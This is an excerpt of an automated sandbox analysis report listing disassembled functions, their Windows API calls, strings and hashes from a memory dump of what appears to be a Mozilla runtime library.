Instruction Fuzzy Hash: F4E04F7031A7059BE7101FA5D918742BAFCEF05255F10882DEAC6C3B04E7B5D4008B90

Function 6C8E0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B7204), ref: 6C8E0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C8E00A7
FreeLibrary.KERNEL32(?,6C8B7204), ref: 6C8E00BE

Strings

wintrust.dll, xrefs: 6C8E0083
CryptCATAdminAcquireContext2, xrefs: 6C8E00A1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: dd7bb9c62f3e7644ac71ebf463130e004fac8fddeca31111c825b9fca2c614bc
Instruction ID: 7a64e251f489a3172524fc1b8493ec3a27e444fb956960b6a143f302addfde2c
Opcode Fuzzy Hash: dd7bb9c62f3e7644ac71ebf463130e004fac8fddeca31111c825b9fca2c614bc
Instruction Fuzzy Hash: ECE01A782283159BEF10AF259908701BAF8E70B348F204855EA92C2600DB7CC000AF51

Function 6C8E00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B7235), ref: 6C8E00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C8E00F7
FreeLibrary.KERNEL32(?,6C8B7235), ref: 6C8E010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C8E00F1
wintrust.dll, xrefs: 6C8E00D3

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 951e0b92e278bacf3ecbc27c3678740940fc14a1fadd6ff98dd9ee40c4b34ce1
Instruction ID: 0e65fb7c17aaade91a4b9b399b0b54329c442564f262d21372f8983700d5bdf7
Opcode Fuzzy Hash: 951e0b92e278bacf3ecbc27c3678740940fc14a1fadd6ff98dd9ee40c4b34ce1
Instruction Fuzzy Hash: E7E012742293169BEF009F258B09B21BAF8F70B348F304865AACB85B00DBBCC040AA50

Function 6C8E01C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B7266), ref: 6C8E01C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6C8E01E7
FreeLibrary.KERNEL32(?,6C8B7266), ref: 6C8E01FE

Strings

wintrust.dll, xrefs: 6C8E01C3
CryptCATAdminReleaseContext, xrefs: 6C8E01E1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 98c698bb46d80d7344475b7b23646407bc8d4279c00192fb3b8c1113bbe0f818
Instruction ID: d83a924f26e1c6cb87f29171be722dd193670878e28400a4dc41170dcd570043
Opcode Fuzzy Hash: 98c698bb46d80d7344475b7b23646407bc8d4279c00192fb3b8c1113bbe0f818
Instruction Fuzzy Hash: 28E09A746AC3959BEF10AF659908712BAF8FB07389F204855EA87C5B40DB78C0009F50

Function 6C8E0120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B7297), ref: 6C8E0128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6C8E0147
FreeLibrary.KERNEL32(?,6C8B7297), ref: 6C8E015E

Strings

wintrust.dll, xrefs: 6C8E0123
CryptCATAdminEnumCatalogFromHash, xrefs: 6C8E0141

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: f382efec7598edf01a8616fe8fc51df5b65e6016a3e69f78ecbd888acdab00a9
Instruction ID: 8648253f1c5c1a0f280edf9857daebed7b1533142ab8f8f4c572cf1585098074
Opcode Fuzzy Hash: f382efec7598edf01a8616fe8fc51df5b65e6016a3e69f78ecbd888acdab00a9
Instruction Fuzzy Hash: 77E09A7466D3559BEF105F69D918716BAF8F707349F204855AAC7CA740DB7CD0009F50

Function 6C8E0170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B7308), ref: 6C8E0178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6C8E0197
FreeLibrary.KERNEL32(?,6C8B7308), ref: 6C8E01AE

Strings

wintrust.dll, xrefs: 6C8E0173
CryptCATCatalogInfoFromContext, xrefs: 6C8E0191

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 1501c19cb7c98ba207ba1d0bdd1b550ced15b856311ce966c0f9515ae7c82a24
Instruction ID: 0d9b81a442b562b53e89c70d5ff4f01b08ff9592b1a28959a074e327253dfc6e
Opcode Fuzzy Hash: 1501c19cb7c98ba207ba1d0bdd1b550ced15b856311ce966c0f9515ae7c82a24
Instruction Fuzzy Hash: 46E01A706AD2159BEF145F25CA08B01BBF8F707249F300896E9C785640DB7CC0809A50

Function 6C90C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C90C0E9), ref: 6C90C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C90C437
FreeLibrary.KERNEL32(?,6C90C0E9), ref: 6C90C44C

Strings

NtQueryVirtualMemory, xrefs: 6C90C431
ntdll.dll, xrefs: 6C90C413

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 73ebe5f987c1a509d30b3f99c4bf418bd298a63fdf7a71dc7478363b037ad730
Instruction ID: e547b6b0f17312df24f049e444cf6a3f078ec696889c6a006ac7be828857b3e8
Opcode Fuzzy Hash: 73ebe5f987c1a509d30b3f99c4bf418bd298a63fdf7a71dc7478363b037ad730
Instruction Fuzzy Hash: F1E0B67872D3159BEF00BF71CA18711BBF8F74660CF24415AEA86D5641EBBCD0018B91

Function 6C9075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C90748B,?), ref: 6C9075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9075D7
FreeLibrary.KERNEL32(?,6C90748B,?), ref: 6C9075EC

Strings

RtlNtStatusToDosError, xrefs: 6C9075D1
ntdll.dll, xrefs: 6C9075B3

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 8744be3444b0e9ad2773a4b3b825759f6d5d2f246178363d8259444febfe4e39
Instruction ID: 961826405a02e56ac9fa71b9014bdda1ad89515de694dccf088c3fcc91a008e0
Opcode Fuzzy Hash: 8744be3444b0e9ad2773a4b3b825759f6d5d2f246178363d8259444febfe4e39
Instruction Fuzzy Hash: 6EE0B671728315ABEF006FA2C848B017AFCEB4661CF305429A9C6D5601EBBCC28ACF50

Function 6C907600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C907592), ref: 6C907608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C907627
FreeLibrary.KERNEL32(?,6C907592), ref: 6C90763C

Strings

ntdll.dll, xrefs: 6C907603
NtUnmapViewOfSection, xrefs: 6C907621

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 84becb5e4b8f965bdc659ea219f93a04ec70d74c74541bfb0976f36c5a71f2d8
Instruction ID: eea5c03e6b0fb7d0d05777074dbe2c1340eff7a3992654263729f4756eefca61
Opcode Fuzzy Hash: 84becb5e4b8f965bdc659ea219f93a04ec70d74c74541bfb0976f36c5a71f2d8
Instruction Fuzzy Hash: 88E092B062A315ABEF006BA68C087057ABCEB5AA6DF204119E9C6D5600E7BCC0048F55

Function 6C90C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C90C1DE,?,00000000,?,00000000,?,6C8B779F), ref: 6C90C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6C90C217
FreeLibrary.KERNEL32(?,6C90C1DE,?,00000000,?,00000000,?,6C8B779F), ref: 6C90C22C

Strings

WinVerifyTrust, xrefs: 6C90C211
wintrust.dll, xrefs: 6C90C1F3

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: d3b98635ebf5f49a83816d4854a65f762d868a877ead23a69f0fa55ada5da294
Instruction ID: a7c3ef0680a01e4fe0a2ccc6d576f3955fb320baf99f58a03e4b089a2c02238b
Opcode Fuzzy Hash: d3b98635ebf5f49a83816d4854a65f762d868a877ead23a69f0fa55ada5da294
Instruction Fuzzy Hash: ECE092743293959BEB007B758908702BEF8EB4661CF240569E98691E05E7B8C0008B91

Function 6C90C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B77C5), ref: 6C90C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6C90C2B7
FreeLibrary.KERNEL32(?,6C8B77C5), ref: 6C90C2CC

Strings

wintrust.dll, xrefs: 6C90C293
CryptCATAdminCalcHashFromFileHandle, xrefs: 6C90C2B1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 6a0e4d0da15507f896dd654dd6ed8964c21456a42efa3d1305bb619e8d8d3122
Instruction ID: 19aa1456017da7ec87da7bbdabde48da5494eea37dcc36142a2aea3923b83f23
Opcode Fuzzy Hash: 6a0e4d0da15507f896dd654dd6ed8964c21456a42efa3d1305bb619e8d8d3122
Instruction Fuzzy Hash: 62E0B6743693119FDF007F69C908702BFF8FB0B608F640069E98685A15E7BDC400CB91

Function 6C90BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6C8B05BC), ref: 6C90BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6C90BAD7
FreeLibrary.KERNEL32(?,6C8B05BC), ref: 6C90BAEC

Strings

kernelbase.dll, xrefs: 6C90BAB3
VirtualAlloc2, xrefs: 6C90BAD1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 5c8db2c0ad02092fdb1b77a960178ca54aa3e14937d0da472fc89ce4dfa1dca3
Instruction ID: 375a0eaea856c2ed551b67d5f81d15f48942fa6107949b4764d9cf2933acf558
Opcode Fuzzy Hash: 5c8db2c0ad02092fdb1b77a960178ca54aa3e14937d0da472fc89ce4dfa1dca3
Instruction Fuzzy Hash: 2EE0B6743293969BEF009F62DA19B06BBF8E707318F35005EAA8791A04EBBDC4448B50

Function 6C90C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8B77F6), ref: 6C90C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6C90C267
FreeLibrary.KERNEL32(?,6C8B77F6), ref: 6C90C27C

Strings

wintrust.dll, xrefs: 6C90C243
CryptCATAdminAcquireContext, xrefs: 6C90C261

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 425873a6992eade1425d0e3f89d4b4210b0b7c1271a33321fcdb52adefd7778b
Instruction ID: 1f0b5983f748f0dfeb9c2771810e4b904679dc08911a5057a35dbb5d04a1151f
Opcode Fuzzy Hash: 425873a6992eade1425d0e3f89d4b4210b0b7c1271a33321fcdb52adefd7778b
Instruction Fuzzy Hash: 5AE092753292199BDF046F668808B01BAF8E70B30CF3040A9EA86D2A04E7BCC0449FA1

Function 6C90BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C90BE49), ref: 6C90BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C90BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C90BE49), ref: 6C90BF38
RtlReAllocateHeap.NTDLL ref: 6C90BF83
RtlFreeHeap.NTDLL(6C90BE49,00000000), ref: 6C90BFA6

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 953a3c2ddcb1e13b8333ac294902ed2f5e349b07e2875d962f38ac305acf8db3
Instruction ID: bd7cd3610b06327541357b07dd553fb291d998cb3872f2ed5fc09084263ec9e8
Opcode Fuzzy Hash: 953a3c2ddcb1e13b8333ac294902ed2f5e349b07e2875d962f38ac305acf8db3
Instruction Fuzzy Hash: 14518E72B002058FE710DF69C980BAAB7B6FF98314F29463DD615A7B54D730F9168B80

Function 6C8F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C8EB58D,?,?,?,?,?,?,?,6C91D734,?,?,?,6C91D734), ref: 6C8F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C8EB58D,?,?,?,?,?,?,?,6C91D734,?,?,?,6C91D734), ref: 6C8F8EBF
free.MOZGLUE(?,?,?,?,6C8EB58D,?,?,?,?,?,?,?,6C91D734,?,?,?), ref: 6C8F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C8EB58D,?,?,?,?,?,?,?,6C91D734,?,?,?,6C91D734), ref: 6C8F8F46
free.MOZGLUE(?,?,?,?,6C8EB58D,?,?,?,?,?,?,?,6C91D734,?,?,?), ref: 6C8F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C8EB58D,?,?,?,?,?,?,?,6C91D734,?,?,?), ref: 6C8F8F8F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 369b73f0258ffa51ca950935606543c8996346d37e6ef602f38e2c3cda77a8a7
Instruction ID: 267b568bbbc9cb2edac48763ad82db551cfa854ba1c889bf63c7987a2b2ddf68
Opcode Fuzzy Hash: 369b73f0258ffa51ca950935606543c8996346d37e6ef602f38e2c3cda77a8a7
Instruction Fuzzy Hash: 4051B6B1A016158FFB24CF54D98076EB3B2FF46354F25092AD526AB740E731F906CB91

Function 6C8B60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C8B5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C8B5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B6180
free.MOZGLUE(?,?,?,?,6C8B5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8B6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C8B5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B6229
free.MOZGLUE(?,?,?,?,6C8B5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8B625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8B5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8B6271

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 220866bd15cdf2562c42c0e463d320f41a060dc6f3244171ed01d318e3886681
Instruction ID: d184013cebbc69a28655f2cc97a080f2cc0ebcc75d9875f9c2c668ba1dc958d8
Opcode Fuzzy Hash: 220866bd15cdf2562c42c0e463d320f41a060dc6f3244171ed01d318e3886681
Instruction Fuzzy Hash: F8516AB1A046068FEB28CFA8D9807AEB7B5AF45308F20093DC65AE7751E731E954CB51

Function 6C8F27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C8F2620,?,?,?,6C8E60AA,6C8E5FCB,6C8E79A3), ref: 6C8F284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C8F2620,?,?,?,6C8E60AA,6C8E5FCB,6C8E79A3), ref: 6C8F289A
free.MOZGLUE(?,?,?,6C8F2620,?,?,?,6C8E60AA,6C8E5FCB,6C8E79A3), ref: 6C8F28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C8F2620,?,?,?,6C8E60AA,6C8E5FCB,6C8E79A3), ref: 6C8F2910
free.MOZGLUE(00000001,?,?,6C8F2620,?,?,?,6C8E60AA,6C8E5FCB,6C8E79A3), ref: 6C8F293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C8F2620,?,?,?,6C8E60AA,6C8E5FCB,6C8E79A3), ref: 6C8F294E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1de1c17222a6526f311d9f23750a55d811aae23f45c8f62f4ca45f0f244dd40a
Instruction ID: fff6d8c069416754a9c9eb0180320dacfec19a41a5e0b94d90d22d0754a4ab0c
Opcode Fuzzy Hash: 1de1c17222a6526f311d9f23750a55d811aae23f45c8f62f4ca45f0f244dd40a
Instruction Fuzzy Hash: 6A41F0B1B002468FEB20CF68D984B6A77F6AB45348F240839D566EB740E735F906CB61

Function 6C8ACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8ACFF6
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8AD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C8AD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C8AD139

Strings

MOZ_CRASH(), xrefs: 6C8AD187

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

